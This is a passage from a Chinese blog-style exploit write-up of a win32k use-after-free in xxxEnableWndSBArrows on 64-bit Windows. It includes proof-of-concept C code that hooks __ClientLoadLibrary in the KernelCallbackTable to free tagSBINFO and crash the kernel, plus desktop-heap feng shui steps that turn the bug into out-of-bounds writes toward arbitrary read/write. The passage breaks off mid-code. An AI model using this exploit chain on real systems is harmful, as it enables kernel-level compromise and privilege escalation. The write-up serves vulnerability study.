而漏洞所在的函数 <code class="highlighter-rouge">win32k!xxxEnableWndSBArrows</code> 则是通过这些结构体所描述的信息来设置相应的滚动条属性,参考
<code class="highlighter-rouge">NtUserEnableScrollBar</code> 函数,它的函数定义如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="n">xxxEnableWndSBArrows</span><span class="p">(</span><span class="n">HWND</span> <span class="n">hWnd</span><span class="p">,</span> <span class="n">UINT</span> <span class="n">wSBflags</span><span class="p">,</span> <span class="n">UINT</span> <span class="n">wArrows</span><span class="p">);</span>
</code></pre></div></div>
<p><code class="highlighter-rouge">hWnd</code> 是窗体句柄,<code class="highlighter-rouge">wSBflags</code> 决定 scrollbar 的属性,<code class="highlighter-rouge">wArrows</code> 描述滚动条箭头的属性。</p>
<p>函数总体逻辑可以分为三部分,第一部分是分配新的 scrollbar。函数开始时会检查窗体是否包含滚动条信息,
如果需要会重新分配一个 scrollbar 结构体。</p>
<p><img src="/images/2018-11-9/part1.png" alt="" /></p>
<p>相关的符号在 win7 版本中有保留,可以用 windbg 查看,从代码层面来看,函数读取 <code class="highlighter-rouge">pSBInfo</code> 值,也就是 <code class="highlighter-rouge">tagSBINFO</code> 结构,
并且判断是否位空指针,如果该值为空而 <code class="highlighter-rouge">wArrows</code> 参数不为空,那么就会给窗体分配一个 <code class="highlighter-rouge">tagSBINFO</code> 结构,
scrollbar 属性相关的 bit 位设置为 0。否则就沿用已有的 <code class="highlighter-rouge">tagSBINFO</code> 结构中 scrollbar 属性的信息。
在看这部分逆向代码的时候对寄存器所保存的参数有点疑惑,查了下发现 win 平台下函数调用<a href="https://docs.microsoft.com/en-us/cpp/build/parameter-passing?view=vs-2017">参数传递</a>和之前接触的 linux 平台
elf 文件略有不同(如果有和我一样的困惑的同学可以查看相关链接)。</p>
<p>第二部分是设置滚动条的状态,相关参数值的类型的定义在 WinUser.h 中查看,以及 msdn 上的<a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-enablescrollbar">文档</a>,<code class="highlighter-rouge">wSBflags</code> 参数值类型:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define SB_HORZ 0 设置禁用水平滚动条
#define SB_VERT 1 设置禁用垂直滚动条
#define SB_CTL 2 表示滚动条是滚动条控件 // 具体什么作用不清楚
#define SB_BOTH 3 设置同时禁用水平和垂直滚动条
</span></code></pre></div></div>
<p>参数 <code class="highlighter-rouge">wArrows</code> 则设置滚动条的箭头是否可用,被设置位表示不可用:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define ESB_ENABLE_BOTH 0x0000
#define ESB_DISABLE_BOTH 0x0003
</span>
<span class="cp">#define ESB_DISABLE_LEFT 0x0001
#define ESB_DISABLE_RIGHT 0x0002
</span>
<span class="cp">#define ESB_DISABLE_UP 0x0001
#define ESB_DISABLE_DOWN 0x0002
</span>
<span class="cp">#define ESB_DISABLE_LTUP ESB_DISABLE_LEFT
#define ESB_DISABLE_RTDN ESB_DISABLE_RIGHT
</span></code></pre></div></div>
<p>以下代码表示如果设置了 <code class="highlighter-rouge">SB_HORZ</code> 或 <code class="highlighter-rouge">SB_BOTH</code> 则判断 <code class="highlighter-rouge">wArrow</code> 是否为 <code class="highlighter-rouge">ENBLAE</code> 来决定启用或禁用水平滚动条。</p>
<p><img src="/images/2018-11-9/part2.png" alt="" /></p>
<p>其实漏洞就跟这部分设置有关,让滚动条可见按照一定的设置会触发 <code class="highlighter-rouge">xxxDrawScrollBar</code> 函数刷新滚动条,
然后可能会触发用户态回调函数。</p>
<p><img src="/images/2018-11-9/part3.png" alt="" /></p>
<p>不过在讨论回调函数之前,我们先把后面的看完。和设置水平滚动条的逻辑类似,但不同的是如果 <code class="highlighter-rouge">wArrows</code> 设置了禁用了,
并且前面触发了 uaf 的话,这里就可以对释放后的内存进行一次按位或运算,比如 <code class="highlighter-rouge">wArrows</code> 为 0x3,而 <code class="highlighter-rouge">tagSBINFO.wSBflags</code>
为 0x2,那么操作完后值就变为 0xe 了。</p>
<p><img src="/images/2018-11-9/part4.png" alt="" /></p>
<h1 id="stage-1">Stage 1</h1>
<p>开发漏洞利用通常需要经历好几个阶段,首先要完成的是如何触发漏洞。</p>
<p>我们已经知道设置怎样的参数可以触发 <code class="highlighter-rouge">xxxDrawScrollBar</code> 函数,要在代码上实现得在 <code class="highlighter-rouge">CreateWindow</code>
函数中加上 <code class="highlighter-rouge">WS_HSCROLL</code> 和 <code class="highlighter-rouge">WS_VSCROLL</code>,虽然默认窗体是可见的,不过加上 <code class="highlighter-rouge">showWindow</code> 以防万一,
然后按照设置的参数调用 <code class="highlighter-rouge">EnableScrollBar</code>。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">hwnd</span> <span class="o">=</span> <span class="n">CreateWindow</span><span class="p">(</span>
<span class="n">szAppName</span><span class="p">,</span>
<span class="n">TEXT</span><span class="p">(</span><span class="s">"Poc"</span><span class="p">),</span>
<span class="n">WS_OVERLAPPEDWINDOW</span> <span class="o">|</span> <span class="n">WS_HSCROLL</span> <span class="o">|</span> <span class="n">WS_VSCROLL</span><span class="p">,</span>
<span class="n">CW_USEDEFAULT</span><span class="p">,</span>
<span class="n">CW_USEDEFAULT</span><span class="p">,</span>
<span class="n">CW_USEDEFAULT</span><span class="p">,</span>
<span class="n">CW_USEDEFAULT</span><span class="p">,</span>
<span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">hInstance</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">ShowWindow</span><span class="p">(</span><span class="n">hwnd</span><span class="p">,</span> <span class="n">iCmdShow</span><span class="p">);</span>
<span class="n">EnableScrollBar</span><span class="p">(</span><span class="n">hwnd</span><span class="p">,</span> <span class="n">SB_BOTH</span><span class="p">,</span> <span class="n">ESB_DISABLE_BOTH</span><span class="p">);</span>
<span class="n">UpdateWindow</span><span class="p">(</span><span class="n">hwnd</span><span class="p">);</span>
</code></pre></div></div>
<p>那么现在要解决的是怎样控制回调函数,有了回调函数我们可以在用户态把堆中的内存释放掉,
再返回内核态的时候情况就变得和原来不一样了,不过我们得找到这个回调函数在哪。
在 Udi 的文章中给出了一张静态分析得出的调用关系图,</p>
<p><img src="/images/2018-11-9/fig4.jpg" alt="" /></p>
<p>执行 <code class="highlighter-rouge">xxxDrawScrollBar</code> 函数得过程中会调用
<code class="highlighter-rouge">ClientLoadLibrary</code> 函数,其中又触发了 <code class="highlighter-rouge">KeUserModeCallback</code> 函数,我们要想办法弄清楚
<code class="highlighter-rouge">KeUserModeCallback</code> 函数调用了什么,然后尝试劫持该调用。
从 ncc group 的资料中我们可以知道用户态回调函数的一些相关机制,通常每个进程都包含一张用户态回调函数指针的列表,
<code class="highlighter-rouge">PEB->KernelCallBackTable</code> 就指向这张表。当内核想要调用一个用户态函数时就用一个函数索引表示函数在表中的位置,
由 <code class="highlighter-rouge">KeUserModeCallback</code> 函数合法的从内核态转换到用户态,该函数原型如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NTSTATUS</span> <span class="n">KeUserModeCallback</span> <span class="p">(</span>
<span class="n">IN</span> <span class="n">ULONG</span> <span class="n">ApiNumber</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">PVOID</span> <span class="n">InputBuffer</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">ULONG</span> <span class="n">InputLength</span><span class="p">,</span>
<span class="n">OUT</span> <span class="n">PVOID</span> <span class="o">*</span><span class="n">OutputBuffer</span><span class="p">,</span>
<span class="n">IN</span> <span class="n">PULONG</span> <span class="n">OutputLength</span>
<span class="p">);</span>
</code></pre></div></div>
<p>需要注意的是 <code class="highlighter-rouge">ApiNumber</code> 参数为函数表索引号,接着由用户态函数 <code class="highlighter-rouge">KiUserModeCallbackDispatch</code>
查找索引在回调函数列表中对应的函数并执行,我们可以查看 <code class="highlighter-rouge">PEB->KernelCallBackTable</code> 把其中对应的地址处的代码修改掉。
选好断点位置,在 Drawscrollbar 之后对 <code class="highlighter-rouge">nt!KeUserModeCallback</code> 下断点,虽然很容易在其他地方断下,
但是多试几次,就能断在我们的调用链中。</p>
<p><img src="/images/2018-11-9/break.png" alt="" /></p>
<p><code class="highlighter-rouge">nt!KeUserModeCallback</code> 的断点在触发若干次后断在了我们的调用链中:</p>
<p><img src="/images/2018-11-9/break1.png" alt="" /></p>
<p>此时查看 <code class="highlighter-rouge">rcx</code> 寄存器的值,在函数列表中找到对应的地址:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">kd</span><span class="o">></span> <span class="n">r</span> <span class="n">rcx</span>
<span class="n">rcx</span><span class="o">=</span><span class="mo">0000000000000002</span>
<span class="n">kd</span><span class="o">></span> <span class="n">dt</span> <span class="o">!</span><span class="n">_PEB</span> <span class="err">@$</span><span class="n">peb</span>
<span class="n">nt</span><span class="o">!</span><span class="n">_PEB</span>
<span class="p">...</span>
<span class="o">+</span><span class="mh">0x058</span> <span class="n">KernelCallbackTable</span> <span class="o">:</span> <span class="mh">0x00007fff</span><span class="err">`</span><span class="mi">79070</span><span class="n">a80</span> <span class="n">Void</span>
<span class="p">...</span>
<span class="n">kd</span><span class="o">></span> <span class="n">dqs</span> <span class="mh">0x00007fff</span><span class="err">`</span><span class="mi">79070</span><span class="n">a80</span>
<span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79070</span><span class="n">a80</span> <span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79053</span><span class="n">ef0</span> <span class="n">USER32</span><span class="o">!</span><span class="n">_fnCOPYDATA</span>
<span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79070</span><span class="n">a88</span> <span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">790</span><span class="n">aadb0</span> <span class="n">USER32</span><span class="o">!</span><span class="n">_fnCOPYGLOBALDATA</span>
<span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79070</span><span class="n">a90</span> <span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79043</span><span class="n">b90</span> <span class="n">USER32</span><span class="o">!</span><span class="n">_fnDWORD</span>
<span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79070</span><span class="n">a98</span> <span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">790459</span><span class="n">b0</span> <span class="n">USER32</span><span class="o">!</span><span class="n">_fnNCDESTROY</span>
<span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79070</span><span class="n">aa0</span> <span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79055640</span> <span class="n">USER32</span><span class="o">!</span><span class="n">_fnDWORDOPTINLPMSG</span>
<span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79070</span><span class="n">aa8</span> <span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">790</span><span class="n">ab2b0</span> <span class="n">USER32</span><span class="o">!</span><span class="n">_fnINOUTDRAG</span>
<span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79070</span><span class="n">ab0</span> <span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79053970</span> <span class="n">USER32</span><span class="o">!</span><span class="n">_fnGETTEXTLENGTHS</span>
<span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">79070</span><span class="n">ab8</span> <span class="mo">00007</span><span class="n">fff</span><span class="err">`</span><span class="mi">7907</span><span class="n">f1c0</span> <span class="n">USER32</span><span class="o">!</span><span class="n">__fnINCNTOUTSTRING</span>
<span class="p">...</span>
</code></pre></div></div>
<p>这里比较坑的点是 <code class="highlighter-rouge">nt!KeUserModeCallback</code> 会被很多地方调用很多次,这样每次断下来查看一下栈回溯才知道是不是处于我们的函数链中,
最麻烦的是你无法确定该选用哪个回调函数去 hook,<code class="highlighter-rouge">_fnDWORD</code> 也会在 DrawScrollBar 中被触发回调,不过这是一个已经被完成的利用,
虽然不知道利用开发者是如何知道 <code class="highlighter-rouge">__ClientLoadLibrary</code> 函数是适合被 hook 的,可能调用次数比较少,这里纠结了许久,
最后就当学习了吧(tql 233)。</p>
<p>那么现在我们确定要 hook 的函数是 <code class="highlighter-rouge">__ClientLoadLibrary</code>,经过计算它的偏移是 <code class="highlighter-rouge">0x238</code>,用以下代码获取它的地址:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ULONG_PTR</span> <span class="nf">Get__ClientLoadLibrary</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">ULONG_PTR</span> <span class="n">addr</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">addr</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="o">*</span><span class="p">)(</span><span class="n">__readgsqword</span><span class="p">(</span><span class="mh">0x60</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x58</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x238</span><span class="p">;</span> <span class="c1">// gs:[60] 表示 peb 的地址,用 __readgsqword 读取 peb 地址
</span> <span class="k">return</span> <span class="n">addr</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>接着把获取到的地址上的值覆盖成我们自定义的函数 fakehook 函数的地址,用一个赋值就行了。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="o">*</span><span class="p">)</span><span class="n">_ClientLoadLibrary_addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">Fake__ClientLoadLibrary</span><span class="p">;</span>
</code></pre></div></div>
<p>有了 hook 的自定义函数之后我们就可以做些事情,想办法触发 uaf。要考虑到回调函数可能在系统其它地方被多次调用,
我们在执行自定义函数的时候设置 hookflag 变量 和 hookcount 变量,在执行到 <code class="highlighter-rouge">EnableScrollBar</code> 之前把
hookflag 设置为 1,表示可以开始 hook 回调函数,而 hookcount 表示自 hookflag 变量设置后第几次 hook
到回调函数,那么我们只要确认需要执行的是第几次 hook 到的回调函数,代码如下。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VOID</span> <span class="nf">Fake__ClientLoadLibrary</span><span class="p">(</span><span class="n">VOID</span><span class="o">*</span> <span class="n">a</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">hookflag</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">++</span><span class="n">hookcount</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">DestroyWindow</span><span class="p">(</span><span class="n">hwnd</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>到现在为止我们终于可以构造出一个触发 BSOD 的 poc,在回调函数中调用 destorywindow 释放掉
<code class="highlighter-rouge">tagSBINFO</code> 结构,但是 window 对象并不会被立即释放,这涉及到引用计数机制,据资料说明 <code class="highlighter-rouge">tagSBINFO</code>
并没有引用计数机制,所以这里可以被释放掉,然后被释放掉的块在后续处理中有一次写操作,
这样被释放的堆块就会受到影响,导致内核崩溃。大致代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <windows.h>
</span>
<span class="k">const</span> <span class="kt">char</span> <span class="n">g_szClassName</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"poc"</span><span class="p">;</span>
<span class="n">HWND</span> <span class="n">hwnd</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">hookflag</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">hookcount</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">VOID</span> <span class="o">*</span> <span class="n">_ClientLoadLibrary</span><span class="p">;</span>
<span class="n">ULONG_PTR</span> <span class="n">_ClientLoadLibrary_addr</span><span class="p">;</span>
<span class="n">VOID</span> <span class="nf">Fake__ClientLoadLibrary</span><span class="p">(</span><span class="n">VOID</span><span class="o">*</span> <span class="n">a</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">hookflag</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">++</span><span class="n">hookcount</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">DestroyWindow</span><span class="p">(</span><span class="n">hwnd</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">...</span> <span class="p">...</span>
<span class="n">BOOL</span> <span class="n">Trigger</span><span class="p">(</span><span class="kt">int</span> <span class="n">cmd</span><span class="p">,</span> <span class="n">HINSTANCE</span> <span class="n">h</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">DWORD</span> <span class="n">dwOldProtect</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="c1">// window which instantiates a scrollbar to be freed
</span> <span class="n">hwnd</span> <span class="o">=</span> <span class="n">CreateWindowExA</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">g_szClassName</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SBS_HORZ</span> <span class="o">|</span> <span class="n">WS_HSCROLL</span> <span class="o">|</span> <span class="n">WS_VSCROLL</span><span class="p">,</span>
<span class="mi">10</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="p">(</span><span class="n">HWND</span><span class="p">)</span><span class="nb">NULL</span><span class="p">,</span> <span class="p">(</span><span class="n">HMENU</span><span class="p">)</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">h</span><span class="p">,</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="nb">NULL</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">hwnd</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
<span class="n">ShowWindow</span><span class="p">(</span><span class="n">hwnd</span><span class="p">,</span> <span class="n">SW_SHOW</span><span class="p">);</span>
<span class="n">UpdateWindow</span><span class="p">(</span><span class="n">hwnd</span><span class="p">);</span>
<span class="n">hookflag</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">EnableScrollBar</span><span class="p">(</span><span class="n">hwnd</span><span class="p">,</span> <span class="n">SB_CTL</span> <span class="o">|</span> <span class="n">SB_BOTH</span><span class="p">,</span> <span class="n">ESB_DISABLE_BOTH</span><span class="p">);</span>
<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">WINAPI</span> <span class="n">WinMain</span><span class="p">(</span><span class="n">HINSTANCE</span> <span class="n">hInstance</span><span class="p">,</span> <span class="n">HINSTANCE</span> <span class="n">hPrevInstance</span><span class="p">,</span>
<span class="n">PSTR</span> <span class="n">szCmdLine</span><span class="p">,</span> <span class="kt">int</span> <span class="n">iCmdShow</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">_ClientLoadLibrary_addr</span> <span class="o">=</span> <span class="n">Get__ClientLoadLibrary</span><span class="p">();</span>
<span class="n">_ClientLoadLibrary</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="n">ULONG_PTR</span> <span class="o">*</span><span class="p">)</span><span class="n">_ClientLoadLibrary_addr</span><span class="p">;</span>
<span class="n">Hook__ClientLoadLibrary</span><span class="p">();</span>
<span class="n">InitWindows</span><span class="p">(</span><span class="n">hInstance</span><span class="p">);</span>
<span class="n">Trigger</span><span class="p">(</span><span class="n">iCmdShow</span><span class="p">,</span> <span class="n">hInstance</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>下一步我们要做的就更有趣了,用堆风水把释放的块替换成指定的对象,这样可以做更多的事,不过要完成堆风水,
我们需要对 desktop 的堆有一定的了解。</p>
<h1 id="heap-feng-shui">Heap Feng Shui</h1>
<p>有关 desktop 的堆在前面 win32k 的 paper 中有相关介绍,desktop 堆是 win32k.sys 用来存储给定 desktop
相关联的一系列 GUI 对象,包含了窗体对象和其相关结构,比如 property list,window text 和 scrollbar。
每创建一个桌面就会有一个相应的堆为其服务,那么我们就可以分配一个新的桌面得到一个初始的堆,可以更稳定的进行调控。
但资料中又提到一个信息,低权限进程是无法创建新的桌面的。</p>
<p>抛开这个问题,我们先明确堆风水要达成的目的,就是要把释放后的 tagSBINFO 结构的堆块替换成其他的结构堆块,
利用结构体的特性修改一些关键的数据从而获得操作更多数据的能力,要完成替换就需要精准预测堆块的分配,
尽可能完全控制整个堆的布局。比较可行的办法是先把释放的堆块尽可能填满,之后新分配的堆块就会排列在一起,
然后在一系列连续的堆块中释放掉相应的块造成一个缺口,那么后面分配的块大概率会在缺口的位置,实现预测分配。</p>
<p>在桌面堆中分配的有三个重要的数据类型我们需要了解一下,主要就通过使用这些结构体来控制堆上的窗体相关的数据。
每个窗体对象包含一个 <code class="highlighter-rouge">tagPROLIST</code> 结构体,它的大小足够小,在64位系统下分配的大小为 0x18 字节,
可以用来填充一些比较小的缺口,该结构类型定义如下:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kd> dt win32k!tagPROPLIST -r
+0x000 cEntries : Uint4B
+0x004 iFirstFree : Uint4B
+0x008 aprop : [1] tagPROP
+0x000 hData : Ptr64 Void
+0x008 atomKey : Uint2B
+0x00a fs : Uint2B
</code></pre></div></div>
<p>然后是窗体文本属性,在 <code class="highlighter-rouge">tagWND</code> 结构体中的成员 <code class="highlighter-rouge">strName</code> 可以分配任意大小的 UNICODE 字符串,</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kd> dt win32k!tagWND -b strName
+0x0d8 strName : _LARGE_UNICODE_STRING
</code></pre></div></div>
<p>还有就是 <code class="highlighter-rouge">tagSBINFO</code> 结构,正是用来引发 uaf 漏洞的那个对象,也可以控制部分字段的数据。
从相关资料中可以获取到展示这些数据类型关系的图解:</p>
<p><img src="/images/2018-11-9/dtrela.png" alt="" /></p>
<p>现在我们的目标是把释放后的 <code class="highlighter-rouge">tagSBINFO</code> 的块替换成 <code class="highlighter-rouge">tagPROLIST</code> 结构体块,因为修改 <code class="highlighter-rouge">tagPROLIST</code>
结构上的某个成员可以获得任意地址读写的能力。Property 列表可以用 <code class="highlighter-rouge">SetProp()</code> 函数创建,该函数会先通过
<code class="highlighter-rouge">atomKey</code> 匹配查找是否有相同的 property 存在,如果没有相同的存在,就会在列表中创建新的 property 条目,
初始的调用会创建一个 property 列表链接到 <code class="highlighter-rouge">tagWND</code> 结构中,其函数原型如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="n">SetPropA</span><span class="p">(</span>
<span class="n">HWND</span> <span class="n">hWnd</span><span class="p">,</span>
<span class="n">LPCSTR</span> <span class="n">lpString</span><span class="p">,</span>
<span class="n">HANDLE</span> <span class="n">hData</span>
<span class="p">);</span>
</code></pre></div></div>
<p>思路是这样的,在初始的阶段先准备大量 <code class="highlighter-rouge">tagWND</code> 结构,并且每个 <code class="highlighter-rouge">tagWND</code> 都有相关联的 <code class="highlighter-rouge">tagPROLIST</code>,
这个阶段的内存布局如下:</p>
<p><img src="/images/2018-11-9/heap_spray1.png" alt="" /></p>
<p>然后我们分配 scrollbar 准备触发 uaf,现在的内存布局如下:</p>
<p><img src="/images/2018-11-9/heap_spray2.png" alt="" /></p>
<p>接着设置 scrollbar 的一些参数控制回调函数调用 DestoryWindow 释放掉 <code class="highlighter-rouge">tagSBINFO</code>,内存布局就变成了:</p>
<p><img src="/images/2018-11-9/heap_spray3.png" alt="" /></p>
<p>64位系统下的 <code class="highlighter-rouge">tagSBINFO</code> 结构体是 0x28 字节,而单个条目的 <code class="highlighter-rouge">tagPROLIST</code> 结构体是 0x18 字节,
再次调用 <code class="highlighter-rouge">setProp</code> 会增加一个 0x10 字节的 tagProp 条目,也刚好是 0x28 字节。
我们前面已经通过堆喷射把可能释放的空间都填充完了,接下来分配的 <code class="highlighter-rouge">tagPROLIST</code> 由于没有更合适的位置,
会被放到原来 <code class="highlighter-rouge">tagSBINFO</code> 的位置,具体是先释放一个窗体的属性列表,由于堆喷已经填满了空闲的内存,
这个 0x18 字节的块周围并没有相邻空闲状态的块,这样就不会发生空闲块之间的合并,从而产生更大的空闲块,
拥有足够的大小会影响到 <code class="highlighter-rouge">tagPROLIST</code> 的位置,这时我们增加 tagPROP 就会分配 0x28 字节大小的 <code class="highlighter-rouge">tagPROLIST</code>
且刚好落到原来 <code class="highlighter-rouge">tagSBINFO</code> 的位置,如图:</p>
<p><img src="/images/2018-11-9/heap_spray4.png" alt="" /></p>
<p>然后回调函数执行完后返回内核态触发 uaf 执行写操作,<code class="highlighter-rouge">tagPROLIST</code> 的 cEntries 字段会从 0x2 变为 0xe,
这样我们可以用 setProp 越界写后面相邻的块。但是这只是个堆溢出,离任意地址读写还有相当一部分距离,
怎样把这个越界写利用起来呢?我们先重新审视下 <code class="highlighter-rouge">tagPROLIST</code> 的定义:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">kd</span><span class="o">></span> <span class="n">dt</span> <span class="n">win32k</span><span class="o">!</span><span class="n">tagPROPLIST</span> <span class="o">-</span><span class="n">r</span>
<span class="o">+</span><span class="mh">0x000</span> <span class="n">cEntries</span> <span class="o">:</span> <span class="n">Uint4B</span> <span class="o">==></span> <span class="err">表面一共有多少个</span><span class="n">tagPROP</span> <span class="o">==></span> <span class="err">用这个越界读写</span><span class="p">.</span>
<span class="o">+</span><span class="mh">0x004</span> <span class="n">iFirstFree</span> <span class="o">:</span> <span class="n">Uint4B</span> <span class="o">==></span> <span class="err">表明当前正在添加第几个</span><span class="n">tagPROP</span><span class="err">结构体</span>
<span class="o">+</span><span class="mh">0x008</span> <span class="n">aprop</span> <span class="o">:</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="n">tagPROP</span> <span class="o">==></span> <span class="err">一个单项的</span><span class="n">tagProp</span>
<span class="o">+</span><span class="mh">0x000</span> <span class="n">hData</span> <span class="o">:</span> <span class="n">Ptr64</span> <span class="n">Void</span> <span class="o">==></span> <span class="err">对应</span><span class="n">hData</span>
<span class="o">+</span><span class="mh">0x008</span> <span class="n">atomKey</span> <span class="o">:</span> <span class="n">Uint2B</span> <span class="o">==></span> <span class="err">对应</span><span class="n">lpString</span>
<span class="o">+</span><span class="mh">0x00a</span> <span class="n">fs</span> <span class="o">:</span> <span class="n">Uint2B</span> <span class="o">==></span> <span class="err">无法控制</span><span class="p">,</span> <span class="err">和内核实现的算法无关</span>
</code></pre></div></div>
<p><code class="highlighter-rouge">tagPROLIST</code> 只有两个成员属性,<code class="highlighter-rouge">cEntries</code> 和 <code class="highlighter-rouge">iFirstFree</code> 分别表示 <code class="highlighter-rouge">tagPROP</code> 的数量和指向当前正在添加的
<code class="highlighter-rouge">tagPROP</code> 的位置。当插入新的 <code class="highlighter-rouge">tagPROP</code> 时会先对已有的 <code class="highlighter-rouge">tagPROP</code> 条目进行扫描直到到达 <code class="highlighter-rouge">iFirstFree</code> 指向的位置,
这里并没有检查 <code class="highlighter-rouge">iFirstFree</code> 是否超过了 <code class="highlighter-rouge">cEntries</code>,但如果扫描中发现了相应的 <code class="highlighter-rouge">atomKey</code> 则会实施检查确保
<code class="highlighter-rouge">iFirstFree</code> 不和 <code class="highlighter-rouge">cEntries</code> 相等,然后新的 <code class="highlighter-rouge">tagPROP</code> 才会添加到 <code class="highlighter-rouge">iFirstFree</code> 索引的位置,如果 <code class="highlighter-rouge">iFirstFree</code>
和 <code class="highlighter-rouge">cEntries</code> 相等的话表明空间不够用了,就分配一个新的能容纳所插入条目的属性列表,同时原有的项被复制过来并插入新的项。</p>
<p>而 <code class="highlighter-rouge">tagPROP</code> 结构和 <code class="highlighter-rouge">SetProp()</code> 函数相关联,<code class="highlighter-rouge">hData</code> 成员对应 SetProp 的 <code class="highlighter-rouge">HANDLE hData</code> 参数,
<code class="highlighter-rouge">atomkey</code> 对应 <code class="highlighter-rouge">lpString</code> 参数,且属于我们可控的范畴,根据文档的说明,我们可以用这个参数传递一个
字符串指针或者16位的 atom 值,当传递字符串指针时会自动转化为 atom 值,这样我们可以传递任何 atom 值来控制两个字节的数据。
不过还是有一些限制,当我们添加新的条目到列表中时,<code class="highlighter-rouge">atomKey</code> 不能重复,否则新的条目会把旧的给替换掉。
另外还有一点值得注意的是 <code class="highlighter-rouge">tagPROP</code> 只有 0xc 字节大小,不过系统分配的是 0x10 字节用来对齐。
这样一来我们每个添加的 <code class="highlighter-rouge">tagPROP</code> 情况是这样的:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span> <span class="n">Offset</span> <span class="mh">0x0</span><span class="o">:</span> <span class="mi">8</span> <span class="err">字节任意可控的数据</span> <span class="p">(</span><span class="n">hData</span><span class="p">)</span>
